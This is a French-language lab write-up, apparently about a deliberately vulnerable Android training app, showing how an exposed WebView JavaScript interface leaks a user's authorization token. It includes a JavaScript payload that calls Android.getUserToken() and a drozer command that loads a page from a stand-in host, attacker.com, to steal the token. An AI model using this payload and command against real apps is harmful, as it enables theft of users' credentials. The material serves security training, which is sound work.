Vol de token
Reconnaissance
Code vulnérable
public void loadWebView() {
WebView webView = (WebView) findViewById(R.id.webview2);
webView.setWebChromeClient(new WebChromeClient());
webView.setWebViewClient(new WebViewClient());
webView.getSettings().setJavaScriptEnabled(true);
Map<String, String> extraHeaders = new HashMap<>();
extraHeaders.put("Authorization", getUserToken());
webView.addJavascriptInterface(new WebAppInterface(this), "Android");
webView.loadUrl(getIntent().getStringExtra("support_url"), extraHeaders);
}
Déclaration de l'interface
package com.tmh.vulnwebview;
import android.content.Context;
import android.webkit.JavascriptInterface;
/* loaded from: classes.dex */
public class WebAppInterface {
Context mContext;
/* JADX INFO: Access modifiers changed from: package-private */
public WebAppInterface(Context c) {
this.mContext = c;
}
@JavascriptInterface
public String getUserToken() {
return SupportWebView.getUserToken();
}
}
Cette vulnérabilité est en fait lié à celle vue précèdemment. En effet, on peut voir que le javascript a préalablement été activé via la commande webView.getSettings().setJavaScriptEnabled(true);
(ligne 5), qu'un header "Authorization" est généré avec le token de l'utilisateur (ligne 7) puis qu'une interface nommée "Android" a été ajouté (ligne 8).
Enfin, on constate que la clé "support_url" est utilisée pour accéder à la page de support, page de support ayant dans ses en-têtes le token à voler.
Exploitation
Tout comme pour la RXSS vue précèdemment, il nous est possible d'injecter du code javascript dans la fonction. Il nous est donc possible de créer un simple script pour récupérer le token en appelant la fonction "getUserToken()" qui est utilisée dans la déclaration de l'interface du code vunérable.
Charge utile
<script>
document.write("token: " + Android.getUserToken());
</script>
Etapes
Création de la charge utile .html
Hégergement sur le serveur web attaquant
Commande drozer
dz> run app.activity.start --component com.tmh.vulnwebview com.tmh.vulnwebview.SupportWebView --extra string support_url "https://attacker.com/tokenstealer.html"

Dernière mise à jour
Cet article vous a-t-il été utile ?